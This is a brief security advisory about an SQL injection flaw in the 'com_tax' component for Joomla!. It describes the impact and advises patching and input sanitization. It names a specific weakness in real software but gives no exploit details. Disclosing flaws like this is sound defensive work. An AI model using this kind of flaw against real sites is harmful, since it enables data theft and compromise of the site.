Joomla com_tax Remote SQL Injection Vulnerability

The 'com_tax' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mitigation:

Apply the latest security patches and updates for Joomla! and the 'com_tax' component. Additionally, input validation and sanitization should be implemented to prevent SQL injection vulnerabilities.
